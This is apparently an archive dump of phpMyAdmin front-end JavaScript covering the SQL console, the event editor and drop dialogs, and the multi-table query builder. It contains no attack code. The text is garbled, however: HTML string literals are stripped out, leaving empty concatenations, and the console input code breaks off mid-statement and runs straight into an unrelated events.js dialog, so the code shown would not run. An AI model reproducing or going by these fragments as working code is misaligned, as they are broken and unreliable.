preferences are available and can be imported or deleted */ function offerPrefsAutoimport () { var hasConfig = (isStorageSupported('localStorage')) && (window.localStorage.config || false); var $cnt = $('#prefs_autoload'); if (!$cnt.length || !hasConfig) { return; } $cnt.find('a').on('click', function (e) { e.preventDefault(); var $a = $(this); if ($a.attr('href') === '#no') { $cnt.remove(); $.post('index.php', { 'server': CommonParams.get('server'), 'prefs_autoload': 'hide' }, null, 'html'); return; } else if ($a.attr('href') === '#delete') { $cnt.remove(); localStorage.clear(); $.post('index.php', { 'server': CommonParams.get('server'), 'prefs_autoload': 'hide' }, null, 'html'); return; } $cnt.find('input[name=json]').val(window.localStorage.config); $cnt.find('form').trigger('submit'); }); $cnt.show(); } /** * @type {boolean} Support for passive event listener option */ var PASSIVE_EVENT_LISTENERS = (function () { var passive = false; try { var options = Object.defineProperty({}, 'passive', { get: function () { return (passive = true); }, }); window.addEventListener('_', null, options); window.removeEventListener('_', null, options); } catch (error) { // passive not supported } return passive; }()); src/console.js000066600000161600151724472050007352 0ustar00/** * Used in or for console * * @package phpMyAdmin-Console */ /* global debugSQLInfo */ // libraries/classes/Footer.php /** * Console object */ var Console = { /** * @var {JQuery}, jQuery object, selector is '#pma_console>.content' * @access private */ $consoleContent: null, /** * @var {Jquery}, jQuery object, selector is '#pma_console .content', * used for resizer * @access private */ $consoleAllContents: null, /** * @var {JQuery}, jQuery object, selector is '#pma_console .toolbar' * @access private */ $consoleToolbar: null, /** * @var {JQuery}, jQuery object, selector is '#pma_console .template' * @access private */ $consoleTemplates: null, /** * @var {JQuery}, jQuery object, form for submit * @access private */ $requestForm: null, /** * @var {object}, contain console config * @access private */ config: null, /** * @var {boolean}, if console element exist, it'll be true * @access public */ isEnabled: false, /** * @var {boolean}, make sure console events bind only once * @access private */ isInitialized: false, /** * Used for console initialize, reinit is ok, just some variable assignment * * @return {void} */ initialize: function () { if ($('#pma_console').length === 0) { return; } Functions.configGet('Console', false, (data) => { Console.config = data; Console.setupAfterInit(); }, () => { Console.config = {};// Avoid null pointers in setupAfterInit() // Fetching data failed, still perform the console init Console.setupAfterInit(); }); }, /** * Setup the console after the config has been set at initialize stage */ setupAfterInit: function () { Console.isEnabled = true; // Vars init Console.$consoleToolbar = $('#pma_console').find('>.toolbar'); Console.$consoleContent = $('#pma_console').find('>.content'); Console.$consoleAllContents = $('#pma_console').find('.content'); Console.$consoleTemplates = $('#pma_console').find('>.templates'); // Generate a form for post Console.$requestForm = $('
        ' + '' + '' + '' + '' + '' + '' + '' + '
        ' ); Console.$requestForm.children('[name=token]').val(CommonParams.get('token')); Console.$requestForm.on('submit', AJAX.requestHandler); // Event binds shouldn't run again if (Console.isInitialized === false) { // Load config first if (Console.config.AlwaysExpand === true) { $('#pma_console_options input[name=always_expand]').prop('checked', true); } if (Console.config.StartHistory === true) { $('#pma_console_options').find('input[name=start_history]').prop('checked', true); } if (Console.config.CurrentQuery === true) { $('#pma_console_options').find('input[name=current_query]').prop('checked', true); } if (Console.config.EnterExecutes === true) { $('#pma_console_options').find('input[name=enter_executes]').prop('checked', true); } if (Console.config.DarkTheme === true) { $('#pma_console_options').find('input[name=dark_theme]').prop('checked', true); $('#pma_console').find('>.content').addClass('console_dark_theme'); } ConsoleResizer.initialize(); ConsoleInput.initialize(); ConsoleMessages.initialize(); ConsoleBookmarks.initialize(); ConsoleDebug.initialize(); Console.$consoleToolbar.children('.console_switch').on('click', Console.toggle); $('#pma_console').find('.toolbar').children().on('mousedown', function (event) { event.preventDefault(); event.stopImmediatePropagation(); }); $('#pma_console').find('.button.clear').on('click', function () { ConsoleMessages.clear(); }); $('#pma_console').find('.button.history').on('click', function () { ConsoleMessages.showHistory(); }); $('#pma_console').find('.button.options').on('click', function () { Console.showCard('#pma_console_options'); }); $('#pma_console').find('.button.debug').on('click', function () { Console.showCard('#debug_console'); }); Console.$consoleContent.on('click', function (event) { if (event.target === this) { ConsoleInput.focus(); } }); $('#pma_console').find('.mid_layer').on('click', function () { Console.hideCard($(this).parent().children('.card')); }); $('#debug_console').find('.switch_button').on('click', function () { Console.hideCard($(this).closest('.card')); }); $('#pma_bookmarks').find('.switch_button').on('click', function () { Console.hideCard($(this).closest('.card')); }); $('#pma_console_options').find('.switch_button').on('click', function () { Console.hideCard($(this).closest('.card')); }); $('#pma_console_options').find('input[type=checkbox]').on('change', function () { Console.updateConfig(); }); $('#pma_console_options').find('.button.default').on('click', function () { $('#pma_console_options input[name=always_expand]').prop('checked', false); $('#pma_console_options').find('input[name=start_history]').prop('checked', false); $('#pma_console_options').find('input[name=current_query]').prop('checked', true); $('#pma_console_options').find('input[name=enter_executes]').prop('checked', false); $('#pma_console_options').find('input[name=dark_theme]').prop('checked', false); Console.updateConfig(); }); $('#pma_console_options').find('input[name=enter_executes]').on('change', function () { ConsoleMessages.showInstructions(Console.config.EnterExecutes); }); $(document).on('ajaxComplete', function (event, xhr, ajaxOptions) { // Not a json body, then skip if (ajaxOptions.dataType && ajaxOptions.dataType.indexOf('json') === -1) { return; } if (xhr.status !== 200) { return; } try { var data = JSON.parse(xhr.responseText); Console.ajaxCallback(data); } catch (e) { // eslint-disable-next-line no-console, compat/compat console.trace(); // eslint-disable-next-line no-console console.log('Failed to parse JSON: ' + e.message); } }); Console.isInitialized = true; } // Change console mode from cookie switch (Console.config.Mode) { case 'collapse': Console.collapse(); break; case 'info': Console.info(); break; case 'show': Console.show(true); Console.scrollBottom(); break; default: Console.setConfig('Mode', 'info'); Console.info(); } }, /** * Execute query and show results in console * * @param {string} queryString * @param {object} options * * @return {void} */ execute: function (queryString, options) { if (typeof(queryString) !== 'string' || ! /[a-z]|[A-Z]/.test(queryString)) { return; } Console.$requestForm.children('textarea').val(queryString); Console.$requestForm.children('[name=server]').attr('value', CommonParams.get('server')); if (options && options.db) { Console.$requestForm.children('[name=db]').val(options.db); if (options.table) { Console.$requestForm.children('[name=table]').val(options.table); } else { Console.$requestForm.children('[name=table]').val(''); } } else { Console.$requestForm.children('[name=db]').val( (CommonParams.get('db').length > 0 ? CommonParams.get('db') : '')); } Console.$requestForm.find('[name=profiling]').remove(); if (options && options.profiling === true) { Console.$requestForm.append(''); } if (! Functions.confirmQuery(Console.$requestForm[0], Console.$requestForm.children('textarea')[0].value)) { return; } Console.$requestForm.children('[name=console_message_id]') .val(ConsoleMessages.appendQuery({ 'sql_query': queryString }).message_id); Console.$requestForm.trigger('submit'); ConsoleInput.clear(); Navigation.reload(); }, ajaxCallback: function (data) { if (data && data.console_message_id) { ConsoleMessages.updateQuery(data.console_message_id, data.success, (data.reloadQuerywindow ? data.reloadQuerywindow : false)); } else if (data && data.reloadQuerywindow) { if (data.reloadQuerywindow.sql_query.length > 0) { ConsoleMessages.appendQuery(data.reloadQuerywindow, 'successed') .$message.addClass(Console.config.CurrentQuery ? '' : 'hide'); } } }, /** * Change console to collapse mode * * @return {void} */ collapse: function () { Console.setConfig('Mode', 'collapse'); var pmaConsoleHeight = Math.max(92, Console.config.Height); Console.$consoleToolbar.addClass('collapsed'); Console.$consoleAllContents.height(pmaConsoleHeight); Console.$consoleContent.stop(); Console.$consoleContent.animate({ 'margin-bottom': -1 * Console.$consoleContent.outerHeight() + 'px' }, 'fast', 'easeOutQuart', function () { Console.$consoleContent.css({ display:'none' }); $(window).trigger('resize'); }); Console.hideCard(); }, /** * Show console * * @param {boolean} inputFocus If true, focus the input line after show() * @return {void} */ show: function (inputFocus) { Console.setConfig('Mode', 'show'); var pmaConsoleHeight = Math.max(92, Console.config.Height); // eslint-disable-next-line compat/compat pmaConsoleHeight = Math.min(Console.config.Height, (window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight) - 25); Console.$consoleContent.css({ display:'block' }); if (Console.$consoleToolbar.hasClass('collapsed')) { Console.$consoleToolbar.removeClass('collapsed'); } Console.$consoleAllContents.height(pmaConsoleHeight); Console.$consoleContent.stop(); Console.$consoleContent.animate({ 'margin-bottom': 0 }, 'fast', 'easeOutQuart', function () { $(window).trigger('resize'); if (inputFocus) { ConsoleInput.focus(); } }); }, /** * Change console to SQL information mode * this mode shows current SQL query * This mode is the default mode * * @return {void} */ info: function () { // Under construction Console.collapse(); }, /** * Toggle console mode between collapse/show * Used for toggle buttons and shortcuts * * @return {void} */ toggle: function () { switch (Console.config.Mode) { case 'collapse': case 'info': Console.show(true); break; case 'show': Console.collapse(); break; } }, /** * Scroll console to bottom * * @return {void} */ scrollBottom: function () { Console.$consoleContent.scrollTop(Console.$consoleContent.prop('scrollHeight')); }, /** * Show card * * @param {string | JQuery} cardSelector Selector, select string will be "#pma_console " + cardSelector * this param also can be JQuery object, if you need. * * @return {void} */ showCard: function (cardSelector) { var $card = null; if (typeof(cardSelector) !== 'string') { if (cardSelector.length > 0) { $card = cardSelector; } else { return; } } else { $card = $('#pma_console ' + cardSelector); } if ($card.length === 0) { return; } $card.parent().children('.mid_layer').show().fadeTo(0, 0.15); $card.addClass('show'); ConsoleInput.blur(); if ($card.parents('.card').length > 0) { Console.showCard($card.parents('.card')); } }, /** * Scroll console to bottom * * @param {object} $targetCard Target card JQuery object, if it's empty, function will hide all cards * @return {void} */ hideCard: function ($targetCard) { if (! $targetCard) { $('#pma_console').find('.mid_layer').fadeOut(140); $('#pma_console').find('.card').removeClass('show'); } else if ($targetCard.length > 0) { $targetCard.parent().find('.mid_layer').fadeOut(140); $targetCard.find('.card').removeClass('show'); $targetCard.removeClass('show'); } }, /** * Used for update console config * * @return {void} */ updateConfig: function () { Console.setConfig('AlwaysExpand', $('#pma_console_options input[name=always_expand]').prop('checked')); Console.setConfig('StartHistory', $('#pma_console_options').find('input[name=start_history]').prop('checked')); Console.setConfig('CurrentQuery', $('#pma_console_options').find('input[name=current_query]').prop('checked')); Console.setConfig('EnterExecutes', $('#pma_console_options').find('input[name=enter_executes]').prop('checked')); Console.setConfig('DarkTheme', $('#pma_console_options').find('input[name=dark_theme]').prop('checked')); /* Setting the dark theme of the console*/ if (Console.config.DarkTheme) { $('#pma_console').find('>.content').addClass('console_dark_theme'); } else { $('#pma_console').find('>.content').removeClass('console_dark_theme'); } }, setConfig: function (key, value) { Console.config[key] = value; Functions.configSet('Console/' + key, value); }, isSelect: function (queryString) { var regExp = /^SELECT\s+/i; return regExp.test(queryString); } }; /** * Resizer object * Careful: this object UI logics highly related with functions under Console * Resizing min-height is 32, if small than it, console will collapse */ var ConsoleResizer = { posY: 0, height: 0, resultHeight: 0, /** * Mousedown event handler for bind to resizer * * @param {MouseEvent} event * * @return {void} */ mouseDown: function (event) { if (Console.config.Mode !== 'show') { return; } ConsoleResizer.posY = event.pageY; ConsoleResizer.height = Console.$consoleContent.height(); $(document).on('mousemove', ConsoleResizer.mouseMove); $(document).on('mouseup', ConsoleResizer.mouseUp); // Disable text selection while resizing $(document).on('selectstart', function () { return false; }); }, /** * Mousemove event handler for bind to resizer * * @param {MouseEvent} event * * @return {void} */ mouseMove: function (event) { if (event.pageY < 35) { event.pageY = 35; } ConsoleResizer.resultHeight = ConsoleResizer.height + (ConsoleResizer.posY - event.pageY); // Content min-height is 32, if adjusting height small than it we'll move it out of the page if (ConsoleResizer.resultHeight <= 32) { Console.$consoleAllContents.height(32); Console.$consoleContent.css('margin-bottom', ConsoleResizer.resultHeight - 32); } else { // Logic below makes viewable area always at bottom when adjusting height and content already at bottom if (Console.$consoleContent.scrollTop() + Console.$consoleContent.innerHeight() + 16 >= Console.$consoleContent.prop('scrollHeight')) { Console.$consoleAllContents.height(ConsoleResizer.resultHeight); Console.scrollBottom(); } else { Console.$consoleAllContents.height(ConsoleResizer.resultHeight); } } }, /** * Mouseup event handler for bind to resizer * * @return {void} */ mouseUp: function () { Console.setConfig('Height', ConsoleResizer.resultHeight); Console.show(); $(document).off('mousemove'); $(document).off('mouseup'); $(document).off('selectstart'); }, /** * Used for console resizer initialize * * @return {void} */ initialize: function () { $('#pma_console').find('.toolbar').off('mousedown'); $('#pma_console').find('.toolbar').on('mousedown', ConsoleResizer.mouseDown); } }; /** * Console input object */ var ConsoleInput = { /** * @var array, contains Codemirror objects or input jQuery objects * @access private */ inputs: null, /** * @var {boolean}, if codemirror enabled * @access private */ codeMirror: false, /** * @var {number}, count for history navigation, 0 for current input * @access private */ historyCount: 0, /** * @var {string}, current input when navigating through history * @access private */ historyPreserveCurrent: null, /** * Used for console input initialize * * @return {void} */ initialize: function () { // _cm object can't be reinitialize if (ConsoleInput.inputs !== null) { return; } if (typeof CodeMirror !== 'undefined') { ConsoleInput.codeMirror = true; } ConsoleInput.inputs = []; if (ConsoleInput.codeMirror) { // eslint-disable-next-line new-cap ConsoleInput.inputs.console = CodeMirror($('#pma_console').find('.console_query_input')[0], { // style: cm-s-pma theme: 'pma', mode: 'text/x-sql', lineWrapping: true, extraKeys: { 'Ctrl-Space': 'autocomplete' }, hintOptions: { 'completeSingle': false, 'completeOnSingleClick': true }, gutters: ['CodeMirror-lint-markers'], lint: { 'getAnnotations': CodeMirror.sqlLint, 'async': true, } }); ConsoleInput.inputs.console.on('inputRead', Functions.codeMirrorAutoCompleteOnInputRead); ConsoleInput.inputs.console.on('keydown', function (instance, event) { ConsoleInput.historyNavigate(event); }); if ($('#pma_bookmarks').length !== 0) { // eslint-disable-next-line new-cap ConsoleInput.inputs.bookmark = CodeMirror($('#pma_console').find('.bookmark_add_input')[0], { // style: cm-s-pma theme: 'pma', mode: 'text/x-sql', lineWrapping: true, extraKeys: { 'Ctrl-Space': 'autocomplete' }, hintOptions: { 'completeSingle': false, 'completeOnSingleClick': true }, gutters: ['CodeMirror-lint-markers'], lint: { 'getAnnotations': CodeMirror.sqlLint, 'async': true, } }); ConsoleInput.inputs.bookmark.on('inputRead', Functions.codeMirrorAutoCompleteOnInputRead); } } else { ConsoleInput.inputs.console = $(''; var $ajaxDialog = $('
        ' + data.message + '
        ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 500, buttons: buttonOptions, title: data.title }); // Attach syntax highlighted editor to export dialog /** * @var $elm jQuery object containing the reference * to the Export textarea. */ var $elm = $ajaxDialog.find('textarea'); Functions.getSqlEditor($elm); } else { Functions.ajaxShowMessage(data.error, false); } } // end showExport() }, // end exportDialog() editorDialog: function (isNew, $this) { var that = this; /** * @var $edit_row jQuery object containing the reference to * the row of the the item being edited * from the list of items */ var $editRow = null; if ($this.hasClass('edit_anchor')) { // Remember the row of the item being edited for later, // so that if the edit is successful, we can replace the // row with info about the modified item. $editRow = $this.parents('tr'); } /** * @var $msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(); $.get($this.attr('href'), { 'ajax_request': true }, function (data) { if (data.success === true) { // We have successfully fetched the editor form Functions.ajaxRemoveMessage($msg); /** * @var buttonOptions Object containing options * for jQueryUI dialog buttons */ var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary', }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary', }, }; // Now define the function that is called when // the user presses the "Go" button buttonOptions[Messages.strGo].click = function () { // Move the data from the codemirror editor back to the // textarea, where it can be used in the form submission. if (typeof CodeMirror !== 'undefined') { that.syntaxHiglighter.save(); } // Validate editor and submit request, if passed. if (that.validate()) { /** * @var data Form data to be sent in the AJAX request */ var data = $('form.rte_form').last().serialize(); $msg = Functions.ajaxShowMessage( Messages.strProcessingRequest ); var url = $('form.rte_form').last().attr('action'); $.post(url, data, function (data) { if (data.success === true) { // Item created successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); that.$ajaxDialog.dialog('close'); // If we are in 'edit' mode, we must // remove the reference to the old row. if (mode === 'edit' && $editRow !== null) { $editRow.remove(); } // Sometimes, like when moving a trigger from // a table to another one, the new row should // not be inserted into the list. In this case // "data.insert" will be set to false. if (data.insert) { // Insert the new row at the correct // location in the list of items /** * @var text Contains the name of an item from * the list that is used in comparisons * to find the correct location where * to insert a new row. */ var text = ''; /** * @var inserted Whether a new item has been * inserted in the list or not */ var inserted = false; $('table.data').find('tr').each(function () { text = $(this) .children('td') .eq(0) .find('strong') .text() .toUpperCase() .trim(); if (text !== '' && text > data.name) { $(this).before(data.new_row); inserted = true; return false; } }); if (! inserted) { // If we didn't manage to insert the row yet, // it must belong at the end of the list, // so we insert it there. $('table.data').append(data.new_row); } // Fade-in the new row $('tr.ajaxInsert') .show('slow') .removeClass('ajaxInsert'); } else if ($('table.data').find('tr').has('td').length === 0) { // If we are not supposed to insert the new row, // we will now check if the table is empty and // needs to be hidden. This will be the case if // we were editing the only item in the list, // which we removed and will not be inserting // something else in its place. $('table.data').hide('slow', function () { $('#nothing2display').show('slow'); }); } // Now we have inserted the row at the correct // position, but surely at least some row classes // are wrong now. So we will iterate through // all rows and assign correct classes to them /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $('table.data').find('tr').has('td').each(function () { rowclass = (ct % 2 === 0) ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); // If this is the first item being added, remove // the "No items" message and show the list. if ($('table.data').find('tr').has('td').length > 0 && $('#nothing2display').is(':visible') ) { $('#nothing2display').hide('slow', function () { $('table.data').show('slow'); }); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } // end "if (that.validate())" }; // end of function that handles the submission of the Editor buttonOptions[Messages.strClose].click = function () { $(this).dialog('close'); }; /** * Display the dialog to the user */ that.$ajaxDialog = $('
        ' + data.message + '
        ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 700, minWidth: 500, buttons: buttonOptions, // Issue #15810 - use button titles for modals (eg: new procedure) // Respect the order: title on href tag, href content, title sent in response title: $this.attr('title') || $this.text() || $(data.title).text(), modal: true, open: function () { $('#rteDialog').dialog('option', 'max-height', $(window).height()); if ($('#rteDialog').parents('.ui-dialog').height() > $(window).height()) { $('#rteDialog').dialog('option', 'height', $(window).height()); } $(this).find('input[name=item_name]').trigger('focus'); $(this).find('input.datefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'date'); }); $(this).find('input.datetimefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'datetime'); }); $.datepicker.initialized = false; }, close: function () { $(this).remove(); } }); /** * @var mode Used to remember whether the editor is in * "Edit" or "Add" mode */ var mode = 'add'; if ($('input[name=editor_process_edit]').length > 0) { mode = 'edit'; } // Attach syntax highlighted editor to the definition /** * @var elm jQuery object containing the reference to * the Definition textarea. */ var $elm = $('textarea[name=item_definition]').last(); var linterOptions = {}; linterOptions.eventEditor = true; that.syntaxHiglighter = Functions.getSqlEditor($elm, {}, 'both', linterOptions); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.get() }, dropDialog: function ($this) { /** * @var $curr_row Object containing reference to the current row */ var $currRow = $this.parents('tr'); /** * @var question String containing the question to be asked for confirmation */ var question = $('
        ').text( $currRow.children('td').children('.drop_sql').html() ); // We ask for confirmation first here, before submitting the ajax request $this.confirm(question, $this.attr('href'), function (url) { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $this.getPostData()); $.post(url, params, function (data) { if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('slow', function () { $(this).remove(); // Now we have removed the row from the list, but maybe // some row classes are wrong now. So we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = (ct % 2 === 1) ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); }); } // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); // Show the query that we just executed Functions.slidingMessage(data.sql_query); Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }, dropMultipleDialog: function ($this) { // We ask for confirmation here $this.confirm(Messages.strDropRTEitems, '', function () { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); // drop anchors of all selected rows var dropAnchors = $('input.checkall:checked').parents('tr').find('.drop_anchor'); var success = true; var count = dropAnchors.length; var returnCount = 0; dropAnchors.each(function () { var $anchor = $(this); /** * @var $curr_row Object containing reference to the current row */ var $currRow = $anchor.parents('tr'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post($anchor.attr('href'), params, function (data) { returnCount++; if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('fast', function () { // we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = (ct % 2 === 1) ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); }); $currRow.remove(); } if (returnCount === count) { if (success) { // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); $('#rteListForm_checkall').prop({ checked: false, indeterminate: false }); } Navigation.reload(); } } else { Functions.ajaxShowMessage(data.error, false); success = false; if (returnCount === count) { Navigation.reload(); } } }); // end $.post() }); // end drop_anchors.each() }); }, /** * Validate custom editor form fields. * * @return {bool} */ validateCustom: function () { /** * @var elm a jQuery object containing the reference * to an element that is being validated */ var $elm = null; if (this.$ajaxDialog.find('select[name=item_type]').find(':selected').val() === 'RECURRING') { // The interval field must not be empty for recurring events $elm = this.$ajaxDialog.find('input[name=item_interval_value]'); if ($elm.val() === '') { $elm.trigger('focus'); alert(Messages.strFormEmpty); return false; } } else { // The execute_at field must not be empty for "once off" events $elm = this.$ajaxDialog.find('input[name=item_execute_at]'); if ($elm.val() === '') { $elm.trigger('focus'); alert(Messages.strFormEmpty); return false; } } return true; } }; AJAX.registerOnload('database/events.js', function () { /** * Attach Ajax event handlers for the Add/Edit functionality. */ $(document).on('click', 'a.ajax.add_anchor, a.ajax.edit_anchor', function (event) { event.preventDefault(); if ($(this).hasClass('add_anchor')) { $.datepicker.initialized = false; } DatabaseEvents.editorDialog($(this).hasClass('add_anchor'), $(this)); }); /** * Attach Ajax event handlers for Export */ $(document).on('click', 'a.ajax.export_anchor', function (event) { event.preventDefault(); DatabaseEvents.exportDialog($(this)); }); // end $(document).on() $(document).on('click', '#bulkActionExportButton', function (event) { event.preventDefault(); DatabaseEvents.exportDialog($(this)); }); // end $(document).on() /** * Attach Ajax event handlers for Drop functionality */ $(document).on('click', 'a.ajax.drop_anchor', function (event) { event.preventDefault(); DatabaseEvents.dropDialog($(this)); }); // end $(document).on() $(document).on('click', '#bulkActionDropButton', function (event) { event.preventDefault(); DatabaseEvents.dropMultipleDialog($(this)); }); // end $(document).on() /** * Attach Ajax event handlers for the "Change event type" functionality, so that the correct * rows are shown in the editor when changing the event type */ $(document).on('change', 'select[name=item_type]', function () { $(this).closest('table').find('tr.recurring_event_row, tr.onetime_event_row').toggle(); }); }); src/database/multi_table_query.js000066600000020753151724472050013205 0ustar00/** * @fileoverview function used in QBE for DB * @name Database Operations * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * @requires js/database/query_generator.js * */ /* global generateFromBlock, generateWhereBlock */ // js/database/query_generator.js /** * js file for handling AJAX and other events in /database/multi-table-query */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/multi_table_query.js', function () { $('.tableNameSelect').each(function () { $(this).off('change'); }); $('#update_query_button').off('click'); $('#add_column_button').off('click'); }); AJAX.registerOnload('database/multi_table_query.js', function () { var editor = Functions.getSqlEditor($('#MultiSqlquery'), {}, 'both'); $('.CodeMirror-line').css('text-align', 'left'); editor.setSize(-1, 50); var columnCount = 3; addNewColumnCallbacks(); $('#update_query_button').on('click', function () { var columns = []; var tableAliases = {}; $('.tableNameSelect').each(function () { var $show = $(this).siblings('.show_col').first(); if ($(this).val() !== '' && $show.prop('checked')) { var tableAlias = $(this).siblings('.table_alias').first().val(); var columnAlias = $(this).siblings('.col_alias').first().val(); if (tableAlias !== '') { columns.push([tableAlias, $(this).siblings('.columnNameSelect').first().val()]); } else { columns.push([$(this).val(), $(this).siblings('.columnNameSelect').first().val()]); } columns[columns.length - 1].push(columnAlias); if ($(this).val() in tableAliases) { if (!(tableAliases[$(this).val()].includes(tableAlias))) { tableAliases[$(this).val()].push(tableAlias); } } else { tableAliases[$(this).val()] = [tableAlias]; } } }); if (Object.keys(tableAliases).length === 0) { Functions.ajaxShowMessage('Nothing selected', false, 'error'); return; } var foreignKeys; $.ajax({ type: 'GET', async: false, url: 'index.php?route=/database/multi-table-query/tables', data: { 'server': sessionStorage.server, 'db': $('#db_name').val(), 'tables': Object.keys(tableAliases), 'ajax_request': '1', 'token': CommonParams.get('token') }, success: function (response) { foreignKeys = response.foreignKeyConstrains; } }); var query = 'SELECT ' + '`' + Functions.escapeBacktick(columns[0][0]) + '`.'; if (columns[0][1] === '*') { query += '*'; } else { query += '`' + Functions.escapeBacktick(columns[0][1]) + '`'; } if (columns[0][2] !== '') { query += ' AS `' + Functions.escapeBacktick(columns[0][2]) + '`'; } for (var i = 1; i < columns.length; i++) { query += ', `' + Functions.escapeBacktick(columns[i][0]) + '`.'; if (columns[i][1] === '*') { query += '*'; } else { query += '`' + Functions.escapeBacktick(columns[i][1]) + '`'; } if (columns[i][2] !== '') { query += ' AS `' + Functions.escapeBacktick(columns[i][2]) + '`'; } } query += '\nFROM '; query += generateFromBlock(tableAliases, foreignKeys); var $criteriaColCount = $('.criteria_col:checked').length; if ($criteriaColCount > 0) { query += '\nWHERE '; query += generateWhereBlock(); } query += ';'; editor.getDoc().setValue(query); }); $('#submit_query').on('click', function () { var query = editor.getDoc().getValue(); // Verifying that the query is not empty if (query === '') { Functions.ajaxShowMessage(Messages.strEmptyQuery, false, 'error'); return; } var data = { 'db': $('#db_name').val(), 'sql_query': query, 'ajax_request': '1', 'server': CommonParams.get('server'), 'token': CommonParams.get('token') }; $.ajax({ type: 'POST', url: 'index.php?route=/database/multi-table-query/query', data: data, success: function (data) { var $resultsDom = $(data.message); $resultsDom.find('.ajax:not(.pageselector)').each(function () { $(this).on('click', function (event) { event.preventDefault(); }); }); $resultsDom.find('.autosubmit, .pageselector, .showAllRows, .filter_rows').each(function () { $(this).on('change click select focus', function (event) { event.preventDefault(); }); }); $('#sql_results').html($resultsDom); $('#slide-handle').trigger('click');// Collapse search criteria area } }); }); $('#add_column_button').on('click', function () { columnCount++; var $newColumnDom = $($('#new_column_layout').html()).clone(); $newColumnDom.find('.jsCriteriaButton').first().attr('data-bs-target', '#criteriaOptionsExtra' + columnCount.toString()); $newColumnDom.find('.jsCriteriaButton').first().attr('aria-controls', 'criteriaOptionsExtra' + columnCount.toString()); $newColumnDom.find('.jsCriteriaOptions').first().attr('id', 'criteriaOptionsExtra' + columnCount.toString()); $('#add_column_button').parent().before($newColumnDom); addNewColumnCallbacks(); }); function addNewColumnCallbacks () { $('.tableNameSelect').each(function () { $(this).on('change', function () { var $sibs = $(this).siblings('.columnNameSelect'); if ($sibs.length === 0) { $sibs = $(this).parent().parent().find('.columnNameSelect'); } $sibs.first().html($('#' + $(this).find(':selected').data('hash')).html()); }); }); $('.jsRemoveColumn').each(function () { $(this).on('click', function () { $(this).parent().remove(); }); }); $('.jsCriteriaButton').each(function () { $(this).on('click', function (event, from) { if (from === null) { var $checkbox = $(this).siblings('.criteria_col').first(); $checkbox.prop('checked', !$checkbox.prop('checked')); } var $criteriaColCount = $('.criteria_col:checked').length; if ($criteriaColCount > 1) { $(this).siblings('.jsCriteriaOptions').first().find('.logical_operator').first().css('display','table-row'); } }); }); $('.criteria_col').each(function () { $(this).on('change', function () { var $anchor = $(this).siblings('.jsCriteriaButton').first(); if ($(this).is(':checked') && ! $anchor.hasClass('collapsed')) { // Do not collapse on checkbox tick as it does not make sense // The user has it open and wants to tick the box return; } $anchor.trigger('click', ['Trigger']); }); }); $('.criteria_rhs').each(function () { $(this).on('change', function () { var $rhsCol = $(this).parent().parent().siblings('.rhs_table').first(); var $rhsText = $(this).parent().parent().siblings('.rhs_text').first(); if ($(this).val() === 'text') { $rhsCol.css('display', 'none'); $rhsText.css('display', 'table-row'); } else if ($(this).val() === 'anotherColumn') { $rhsText.css('display', 'none'); $rhsCol.css('display', 'table-row'); } else { $rhsText.css('display', 'none'); $rhsCol.css('display', 'none'); } }); }); } }); src/database/operations.js000066600000015042151724472050011635 0ustar00/** * @fileoverview function used in server privilege pages * @name Database Operations * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /** * Ajax event handlers here for /database/operations * * Actions Ajaxified here: * Rename Database * Copy Database * Change Charset * Drop Database */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/operations.js', function () { $(document).off('submit', '#rename_db_form.ajax'); $(document).off('submit', '#copy_db_form.ajax'); $(document).off('submit', '#change_db_charset_form.ajax'); $(document).off('click', '#drop_db_anchor.ajax'); }); AJAX.registerOnload('database/operations.js', function () { /** * Ajax event handlers 